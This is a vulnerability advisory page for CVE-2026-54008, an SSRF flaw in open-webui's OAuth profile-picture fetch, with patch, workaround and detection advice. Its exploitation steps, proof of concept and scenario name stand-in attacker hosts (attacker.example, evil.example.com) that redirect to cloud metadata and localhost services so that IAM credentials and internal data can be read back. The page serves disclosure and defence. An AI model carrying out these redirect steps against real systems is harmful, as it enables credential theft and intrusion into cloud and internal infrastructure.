CVE-2026-54008: open-webui: SSRF via OAuth picture redirect bypass

GHSA-226f-f24g-524w HIGH
Published June 17, 2026
CISO Take

Open-webui's OAuth login flow follows HTTP redirects without re-validating the destination URL, enabling any attacker with a valid identity on your configured OAuth provider — Google, Microsoft, GitHub, or any generic OIDC IdP — to trigger server-side requests to internal infrastructure by injecting a redirect URL as their IdP profile picture. In common enterprise deployments where ENABLE_OAUTH_SIGNUP or OAUTH_UPDATE_PICTURE_ON_LOGIN is active, this gives a low-privilege external attacker read access to AWS IMDSv1 IAM role credentials, GCP and Azure instance metadata tokens, localhost-bound Ollama APIs, and any RFC1918 service reachable from the container — a confirmed end-to-end PoC exfiltrates data cleanly via the profile_image_url field with no server-side anomaly. This is the sixth call site in the same redirect-bypass class as CVE-2026-45401; the v0.9.5 patch addressed five paths but missed utils/oauth.py, and open-webui's track record of 102 CVEs in the same package signals sustained attacker attention. Upgrade to open-webui 0.9.6 immediately; if patching is blocked, disable OAUTH_UPDATE_PICTURE_ON_LOGIN and ENABLE_OAUTH_SIGNUP at the environment level and enforce egress filtering blocking link-local and RFC1918 ranges from the container.

Sources: NVD EPSS GitHub Advisory ATLAS

What is the risk?

High. CVSS 8.5 with Scope:Changed and high confidentiality impact reflects the true blast radius — IAM credential theft from cloud metadata enables full cloud account takeover, not just platform compromise. The EPSS raw score is low (0.00028) but the 91st-percentile ranking reflects that SSRF in widely-deployed AI UI tooling attracts rapid weaponization post-disclosure, and a complete end-to-end PoC with canary verification already exists. The precondition is merely a valid OAuth identity in any configured IdP, which is a trivially low bar in enterprise environments using Google Workspace or Microsoft 365 SSO. No scanner template and no KEV listing yet, but the PoC removes any meaningful exploitation barrier.

How does the attack unfold?

Initial Access
Attacker authenticates with a valid OAuth identity (Google/Microsoft/GitHub) and sets their IdP profile picture to a redirect endpoint under attacker control at a public IP.
AML.T0012
Exploitation
OAuth login triggers _process_picture_url; validate_url() passes on the public URL, but aiohttp silently follows the 302 redirect to an internal target (169.254.169.254, Ollama :11434, or RFC1918 services) without re-validation.
AML.T0049
Data Capture
The internal service response body is base64-encoded and stored as the attacker's profile_image_url in the database — no error raised, no alert fired.
AML.T0025
Exfiltration
Attacker calls GET /api/v1/auths/ from their authenticated session and decodes the profile_image_url base64 payload to retrieve IAM credentials or internal API data.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.5 0.9.6
141.4K Pushed 4d ago 76% patched ~4d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
8.5 / 10
EPSS
0.0%
chance of exploitation in 30 days
Higher than 9% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Changed
C High
I Low
A None

What should I do?

5 steps
  1. Patch: upgrade open-webui to >= 0.9.6, which adds allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS to the _process_picture_url aiohttp call.

  2. Workaround if patching is blocked: set both ENABLE_OAUTH_SIGNUP=false and OAUTH_UPDATE_PICTURE_ON_LOGIN=false — this eliminates both call sites (oauth.py:1536 and oauth.py:1556) that invoke the vulnerable function.

  3. Network egress controls: enforce container-level egress filtering blocking link-local (169.254.0.0/16) and RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). On AWS, enforce IMDSv2 with hop-limit=1 to prevent container-originated metadata requests.

  4. Detection: query your database for profile_image_url values matching 'data:image/%;base64,%' where the decoded payload is not a valid image header (magic bytes); review outbound HTTP logs from the open-webui container for requests to non-CDN, non-IdP destinations.

  5. OAuth hygiene: audit which IdPs are whitelisted and ensure only expected providers are configured.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk management system
ISO 42001
A.6.2 - AI system risk management
NIST AI RMF
MANAGE 2.2 - Mechanisms to respond to and recover from AI risks
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-54008?

Open-webui's OAuth login flow follows HTTP redirects without re-validating the destination URL, enabling any attacker with a valid identity on your configured OAuth provider — Google, Microsoft, GitHub, or any generic OIDC IdP — to trigger server-side requests to internal infrastructure by injecting a redirect URL as their IdP profile picture. In common enterprise deployments where ENABLE_OAUTH_SIGNUP or OAUTH_UPDATE_PICTURE_ON_LOGIN is active, this gives a low-privilege external attacker read access to AWS IMDSv1 IAM role credentials, GCP and Azure instance metadata tokens, localhost-bound Ollama APIs, and any RFC1918 service reachable from the container — a confirmed end-to-end PoC exfiltrates data cleanly via the profile_image_url field with no server-side anomaly. This is the sixth call site in the same redirect-bypass class as CVE-2026-45401; the v0.9.5 patch addressed five paths but missed utils/oauth.py, and open-webui's track record of 102 CVEs in the same package signals sustained attacker attention. Upgrade to open-webui 0.9.6 immediately; if patching is blocked, disable OAUTH_UPDATE_PICTURE_ON_LOGIN and ENABLE_OAUTH_SIGNUP at the environment level and enforce egress filtering blocking link-local and RFC1918 ranges from the container.

Is CVE-2026-54008 actively exploited?

No confirmed active exploitation of CVE-2026-54008 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54008?

1. Patch: upgrade open-webui to >= 0.9.6, which adds allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS to the _process_picture_url aiohttp call. 2. Workaround if patching is blocked: set both ENABLE_OAUTH_SIGNUP=false and OAUTH_UPDATE_PICTURE_ON_LOGIN=false — this eliminates both call sites (oauth.py:1536 and oauth.py:1556) that invoke the vulnerable function. 3. Network egress controls: enforce container-level egress filtering blocking link-local (169.254.0.0/16) and RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). On AWS, enforce IMDSv2 with hop-limit=1 to prevent container-originated metadata requests. 4. Detection: query your database for profile_image_url values matching 'data:image/%;base64,%' where the decoded payload is not a valid image header (magic bytes); review outbound HTTP logs from the open-webui container for requests to non-CDN, non-IdP destinations. 5. OAuth hygiene: audit which IdPs are whitelisted and ensure only expected providers are configured.

What systems are affected by CVE-2026-54008?

This vulnerability affects the following AI/ML architecture patterns: LLM UI deployments (open-webui + Ollama or similar local inference), Cloud-hosted AI workspaces with OAuth SSO (Google, Microsoft, GitHub), Enterprise AI platforms with generic OIDC integration, Containerized AI inference stacks with shared internal networks.

What is the CVSS score for CVE-2026-54008?

CVE-2026-54008 has a CVSS v3.1 base score of 8.5 (HIGH). The EPSS exploitation probability is 0.03%.

What is the AI security impact?

Affected AI Architectures

LLM UI deployments (open-webui + Ollama or similar local inference)Cloud-hosted AI workspaces with OAuth SSO (Google, Microsoft, GitHub)Enterprise AI platforms with generic OIDC integrationContainerized AI inference stacks with shared internal networks

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0075 Cloud Service Discovery

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM02:2025

What are the technical details?

Original Advisory

## Summary `backend/open_webui/utils/oauth.py::_process_picture_url` (v0.9.5, lines 1435-1470) calls `validate_url(picture_url)` on the initial URL only, then invokes `aiohttp.ClientSession.get(picture_url, ...)` without `allow_redirects=False`. aiohttp's default is `allow_redirects=True, max_redirects=10`; the function does not pass the project's `AIOHTTP_CLIENT_ALLOW_REDIRECTS` env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own `profile_image_url` field. This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — `SafeWebBaseLoader._scrape`, `_fetch`, `get_content_from_url`, `load_url_image`, `get_image_base64_from_url` — none in `utils/oauth.py`. ## Vulnerable code (v0.9.5) `backend/open_webui/utils/oauth.py`, lines 1435-1470: ```python async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: if not picture_url: return '/user.png' try: validate_url(picture_url) # initial URL only get_kwargs = {} if access_token: get_kwargs['headers'] = {'Authorization': f'Bearer {access_token}'} async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: # ^^^^^^^^^^^ no allow_redirects=False if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = 'image/jpeg' return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ... ``` The function is invoked at `oauth.py:1556` (new-user OAuth signup) and `oauth.py:1536` (existing-user picture update on login). Neither call site re-validates after redirect-following. `backend/open_webui/retrieval/web/utils.py` (v0.9.5) imports the env constant `AIOHTTP_CLIENT_ALLOW_REDIRECTS` at line 51 and uses it on the five paths patched by CVE-2026-45401. `utils/oauth.py` does not import or reference it. ## Exploitation **Preconditions:** - `ENABLE_OAUTH_SIGNUP=true` or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (common in production OAuth-IdP deployments) - Attacker has a valid identity on the configured OAuth IdP (Google, Microsoft, GitHub, or any generic OIDC provider) **Steps:** 1. Attacker hosts a redirect endpoint at `http://attacker.example/r` on a public IP. `validate_url("http://attacker.example/r")` returns True (`is_global=True` for public IPs). 2. Attacker sets their IdP `picture` claim to `http://attacker.example/r`. 3. Attacker signs in to open-webui via OAuth. open-webui invokes `_process_picture_url("http://attacker.example/r", ...)`. 4. `validate_url` accepts the public URL. `session.get("http://attacker.example/r")` is invoked. 5. attacker.example responds `HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags`. (Or `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, RFC1918 internal services, etc.) 6. aiohttp follows the redirect server-side. **No re-validation.** 7. The internal response body is read into `picture`, base64-encoded, and stored as `profile_image_url = "data:image/jpeg;base64,..."` on the attacker's account. 8. Attacker reads back via `GET /api/v1/auths/`. Decode the base64 payload to get the full internal response body. ## Impact Full-read SSRF, identical read-back primitive to CVE-2026-45338: - Cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP `metadata.google.internal`, Azure IMDS) → IAM credentials, managed-identity tokens - Localhost-bound services (Ollama at `:11434`, Redis, Elasticsearch, internal Postgres exporters) - RFC1918 internal infrastructure not exposed to the internet ## Distinction from prior CVEs | Prior CVE | This finding | Distinguishing fact | |---|---|---| | CVE-2026-45338 (GHSA-24c9) | `_process_picture_url` had no `validate_url()` call at all | Fixed in v0.9.0 by adding the call. Ours is the call being insufficient because it doesn't loop over redirect targets. Different mechanism, different fix. | | CVE-2026-45400 (GHSA-8w7q) | `validate_url()` had urlparse-vs-requests parser disagreement on `\@` chars | Fixed in v0.9.5 by char-blocklist. Ours is post-validation redirect-following — orthogonal mechanism. | | CVE-2026-45401 (GHSA-rh5x) | Five paths in retrieval, routers/images, utils/files, utils/middleware | Parent class. Same CWE-918 redirect-bypass mechanism. `utils/oauth.py::_process_picture_url` is not among the five paths in the parent advisory's "Affected code paths" section. Same class, missed sink. Direct sibling. | ## Suggested fix ```python async with session.get( picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL, allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS, # add ) as resp: ``` Or, if redirects must remain enabled by default, wrap in a manual-follow loop that re-invokes `validate_url()` on each `Location` header. This mirrors the fix shape applied to the five paths in CVE-2026-45401. ## Affected versions Vulnerable: `<= 0.9.5` Fix: 0.9.6 ## References - CVE-2026-45401 / GHSA-rh5x-h6pp-cjj6 (parent cluster, redirect-bypass on 5 paths) - CVE-2026-45338 / GHSA-24c9-2m8q-qhmh (original `_process_picture_url` SSRF, patched v0.9.0) - CVE-2026-45400 / GHSA-8w7q-q5jp-jvgx (`validate_url` parser-disagreement bypass, patched v0.9.5) - open-webui issue #24560 (corroborates that the v0.9.5 redirect-fix was applied piecemeal across call sites) ## Proof of Concept End-to-end PoC executed against `ghcr.io/open-webui/open-webui:v0.9.5` in Docker compose. Three services: attacker (OIDC IdP + 302-redirect endpoint on `evil.example.com:9001/redirect`), canary (internal target on `internal-target.local:9002/sentinel`), open-webui v0.9.5. Fresh-CSPRNG sentinel generated **after** OAuth state-establishing call (per Gate 5.5 oracle protocol): `SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09`. Result: - `profile_image_url` field after OAuth login: `data:image/jpeg;base64,U1NSRi1QT0MtNTU4MDExMWIyYTBkN2QwYzgzMjRiZmE5MmEwZDlkMDk=` - Base64 decode: `SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09` (byte-for-byte sentinel match) - Canary log: `!!! SSRF HIT - sentinel served` Chain confirmed: OAuth login → IdP returns picture claim `evil.example.com:9001/redirect` → `validate_url()` accepts FQDN → `aiohttp.ClientSession.get(...)` follows 302 to `internal-target.local:9002/sentinel` server-side without re-validation → response body base64-encoded into attacker's `profile_image_url` → readable via `GET /api/v1/auths/`. PoC artifacts (compose, attacker server, canary, run/verify scripts, full transcript) available on request. ## Reporter Matteo Panzeri — GitHub: `matte1782`, contact: `matteo1782@gmail.com`. Requesting CVE credit as **Matteo Panzeri**.

Exploitation Scenario

An attacker holding a corporate Google Workspace account (or any account on the configured IdP) deploys a minimal HTTP server at a public IP that responds to GET /redirect with HTTP 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/. They update their Google profile picture to this redirect URL. On the next OAuth login to open-webui, the backend calls _process_picture_url, which passes validate_url() on the public IP, then issues an aiohttp.ClientSession.get() that silently follows the redirect to the AWS IMDS endpoint. The raw JSON credential payload — AccessKeyId, SecretAccessKey, and session Token for the EC2 instance role — is base64-encoded into the attacker's profile_image_url column. The attacker calls GET /api/v1/auths/ from their authenticated session, decodes the base64 field, and extracts live AWS IAM credentials. The entire operation takes under 60 seconds, requires no elevated IdP permissions, and generates only a normal OAuth login event in application logs.

Weaknesses (CWE)

CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Timeline

Published
June 17, 2026
Last Modified
June 17, 2026
First Seen
June 17, 2026

Related Vulnerabilities